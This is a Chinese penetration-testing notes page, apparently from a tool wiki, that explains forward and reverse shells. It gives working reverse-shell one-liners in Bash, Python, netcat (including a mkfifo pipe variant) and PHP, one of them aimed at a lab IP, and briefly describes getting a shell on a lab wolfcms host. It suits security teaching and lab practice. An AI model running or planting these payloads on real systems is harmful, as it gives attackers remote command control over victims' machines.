工具
Metasploit Framework
Nmap
SQLMap
Dirb
Gobuster
Netcat
反弹shell
Hydra
wfuzz
wpscan
searchsploit
字典
arp-scan
hashcat
Netdiscover
Cobalt Strike
Goby
Nessus
Xray
Nuclei
-
+
首页
反弹shell
## 概述 反弹 shell 是指**由目标主机主动发起连接,连接到控制端(攻击者 / 管理员)预先监听的端口**,并将目标主机的命令行输入输出流(stdin、stdout、stderr)重定向到该连接的技术。通过这种方式,控制端可以直接向目标主机发送命令,并接收执行结果,实现远程操控。 > 分类 **正向 shell**:控制端主动连接目标主机开放的端口(目标主机提前监听端口),适用于目标主机可被直接访问的场景(如公网主机)。 **反弹 shell**:目标主机主动连接控制端的监听端口,适用于目标主机处于内网、被防火墙限制入站连接,或控制端处于 NAT 后无法被直接访问的场景。 > 基本流程 1. **控制端监听端口**:在控制服务器上开启网络监听 2. **目标主机执行反弹代码**:在受害主机上执行反弹Shell命令 3. **建立连接与流重定向**:受害主机连接到攻击者监听端口 4. **会话交互**:通过建立的连接进行命令执行 ## 实现方式 反弹 shell 可通过多种编程语言或系统工具实现,核心是 “建立网络连接 + 重定向 IO 流”。 > Bash(适用于 Linux 系统) 利用 Bash 的/dev/tcp伪设备(部分系统支持)直接建立 TCP 连接并重定向流: ```bash /bin/bash -i >& /dev/tcp/控制端IP/控制端端口 0>&1 ``` 解析:bash -i启动交互式 shell;>&将 stdout 和 stderr 重定向到/dev/tcp建立的网络连接;0>&1将 stdin 重定向到 stdout(即网络连接)。 > Python(跨平台,需目标主机安装 Python) ```python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("控制端IP", 控制端端口)) # 连接控制端 os.dup2(s.fileno(),0) # 重定向stdin到socket os.dup2(s.fileno(),1) # 重定向stdout到socket os.dup2(s.fileno(),2) # 重定向stderr到socket p=subprocess.call(["/bin/sh","-i"]) # 启动交互式shell ``` > Netcat(简称 nc,需目标主机安装 netcat) ```bash nc 控制端IP 控制端端口 -e /bin/sh # -e指定将shell绑定到连接 ``` 部分 netcat 版本禁用-e参数,可通过管道规避:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 控制端IP 控制端端口 >/tmp/f > PHP(适用于 Web 服务器,通过网页脚本触发) ```php <?php $sock=fsockopen("控制端IP", 控制端端口); // 建立连接 exec("/bin/sh -i <&3 >&3 2>&3"); // 重定向IO到socket(文件描述符3) ?> ``` > php的反弹shell ```bash <?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.186.128/443 0>&1'"); ?> ``` 参数-c ,用于指定后面跟随的字符串作为要执行的命令(或命令序列)。 | 特性 | shell_exec() | exec() | | -------------------- | ----------------------------------- | ------------------------------------------ | | 返回值 | 完整输出(字符串),失败返回 `null` | 默认返回最后一行输出,失败可能返回 `false` | | 完整输出获取方式 | 直接通过返回值获取(字符串) | 需通过第二个参数 `$output`(数组)获取 | | 执行状态码 | 不直接支持(需额外处理) | 可通过第三个参数 `$return_var` 获取 | | 内存占用(大输出时) | 较高(一次性加载所有输出到字符串) | 较低(逐行存入数组,适合大输出) | ## 反弹shell结合Netcat  同时kali中进行监听443端口  访问该路径:`http://192.168.186.133/wolfcms/?articles.html` 上线成功 
毛林
2025年10月7日 11:52
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码